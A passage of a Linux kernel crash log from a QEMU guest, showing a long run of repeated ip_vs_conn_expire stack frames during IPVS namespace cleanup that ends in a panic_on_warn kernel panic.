net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.285863] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.286487] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.286959] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.287848] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.288362] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.288879] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.289394] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.289980] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.290477] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.290985] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.291516] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.292012] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.292630] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.293122] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.293634] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.294189] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.294737] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.295224] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.296094] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.296616] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.297103] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.297577] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.298028] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.298582] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.299033] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.299504] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.300011] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.300489] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.300939] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.301482] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.301936] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.302436] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.302885] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.303366] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.303813] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.304881] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.305328] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.305852] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.306310] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.306780] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.307530] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.308000] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.308537] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.309079] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.309558] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.310019] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.310490] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.310949] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.311482] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.311953] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.312804] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.313309] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.313812] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.314296] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.314734] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.315193] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.315639] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.316099] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.316616] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.317089] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.317567] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.318029] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.318485] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.318952] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.319388] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.319847] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.320297] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.320842] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.321281] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.321748] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.322209] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.322672] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.323111] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.323582] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.324067] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.324635] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.325172] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.325673] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.326334] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.326813] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.327253] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.327717] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.328154] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.328622] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.329260] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.329724] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.330182] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.330692] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.331222] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.331688] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.332145] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.332676] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.333125] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.333592] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.334137] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.334613] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.335061] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.335532] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.335996] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.336468] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.336986] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.337544] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.338001] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.338500] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.338949] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.339556] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.340013] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.340490] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.340939] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.341457] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.341975] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.342473] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.342925] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.343397] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.343854] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.344326] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.344785] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.345333] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.345839] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.346356] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.346848] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.347319] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.347776] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.348247] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.348694] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.349178] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.349634] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.350140] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.350590] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.351069] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.351525] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.352000] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.352452] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.352928] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.353391] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.353864] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.354556] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.355097] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.355704] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.356179] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.356624] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.357108] ? arch_stack_walk (arch/x86/include/asm/unwind.h:64 arch/x86/kernel/stacktrace.c:24) [ 59.357525] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.357967] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.358468] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.358910] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.359467] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.359929] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.360391] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.360823] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.361283] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.361712] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.362186] ? ext4_writepages (fs/ext4/inode.c:3032) [ 59.362689] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.363129] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.363582] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.364011] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.364480] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.364912] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.365386] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.365819] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.366289] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.367117] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.367568] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.368001] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.368451] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.368895] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.369349] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.369779] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.370308] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.370839] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.371332] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.371760] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.372252] ? addrconf_notify (net/ipv6/addrconf.c:3812) [ 59.372775] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.373214] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.373675] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.374136] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.374595] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.375440] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.375908] ? __pfx_sched_balance_find_src_group (kernel/sched/fair.c:11815) [ 59.376460] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.376895] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.377353] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.377789] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.378277] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.378712] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.379583] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.380033] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.380511] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.380967] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.381437] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.381891] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.382380] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.382828] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.383369] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.383811] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.384316] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.384752] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.385332] ? __flush_work (include/linux/rcupdate.h:882 kernel/workqueue.c:4389 kernel/workqueue.c:4403) [ 59.385761] ? ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:1341 net/netfilter/ipvs/ip_vs_conn.c:1375) [ 59.386248] ? __pfx_ip_vs_conn_expire (net/netfilter/ipvs/ip_vs_conn.c:380 (discriminator 5)) [ 59.386707] ? ip_vs_conn_net_cleanup (net/netfilter/ipvs/ip_vs_conn.c:1329 net/netfilter/ipvs/ip_vs_conn.c:1961 net/netfilter/ipvs/ip_vs_conn.c:2099) [ 59.387172] ? __ip_vs_cleanup_batch (net/netfilter/ipvs/ip_vs_core.c:2542) [ 59.387716] ? ops_undo_list (net/core/net_namespace.c:206 net/core/net_namespace.c:253) [ 59.388196] ? __pfx_ops_undo_list (net/core/net_namespace.c:743) [ 59.388638] ? __pfx__raw_spin_lock (kernel/locking/spinlock.c:362) [ 59.389105] ? cleanup_net (net/core/net_namespace.c:706) [ 59.389496] ? __pfx_cleanup_net (include/linux/llist.h:241) [ 59.389999] ? finish_task_switch.isra.0 (kernel/sched/sched.h:1684 (discriminator 1) kernel/sched/sched.h:1697 (discriminator 1) kernel/sched/core.c:5251 (discriminator 1) kernel/sched/core.c:5369 (discriminator 1)) [ 59.390535] ? process_one_work (kernel/workqueue.c:3387) [ 59.390987] ? __pfx___schedule (kernel/sched/core.c:8159 (discriminator 1)) [ 59.391406] ? __pfx_process_one_work (kernel/workqueue.c:4549) [ 59.391986] ? _raw_spin_lock_irq (include/linux/instrumented.h:55 include/linux/atomic/atomic-instrumented.h:1301 include/asm-generic/qspinlock.h:112 include/linux/spinlock.h:188 include/linux/spinlock_api_smp.h:166 kernel/locking/spinlock.c:189) [ 59.392419] ? __pfx_cleanup_net (include/linux/llist.h:241) [ 59.392837] ? assign_work (kernel/workqueue.c:1235) [ 59.393222] ? worker_thread (kernel/workqueue.c:3470 kernel/workqueue.c:3551) [ 59.393762] ? __pfx_worker_thread (include/linux/list.h:264) [ 59.394242] ? kthread (kernel/kthread.c:436) [ 59.394604] ? recalc_sigpending (include/linux/instrumented.h:97 include/asm-generic/bitops/instrumented-atomic.h:41 include/linux/thread_info.h:109 kernel/signal.c:163) [ 59.395044] ? __pfx_kthread (include/linux/list.h:173) [ 59.395431] ? ret_from_fork (arch/x86/kernel/process.c:158) [ 59.396244] ? __pfx_ret_from_fork (arch/x86/include/asm/desc.h:328 (discriminator 7)) [ 59.396686] ? __switch_to (include/linux/instrumented.h:82 include/asm-generic/bitops/instrumented-non-atomic.h:141 include/linux/thread_info.h:133 include/linux/sched.h:2102 arch/x86/include/asm/fpu/sched.h:34 arch/x86/kernel/process_64.c:619) [ 59.397068] ? __switch_to_asm (arch/x86/entry/entry_64.S:206) [ 59.397478] ? __pfx_kthread (include/linux/list.h:173) [ 59.397876] ? ret_from_fork_asm (arch/x86/entry/entry_64.S:245) [ 59.398317] [ 59.398567] Kernel panic - not syncing: kernel: panic_on_warn set ... [ 59.399231] CPU: 0 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 7.2.0-g506c8c29c5e7-dirty #2 PREEMPT(lazy) [ 59.400307] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps 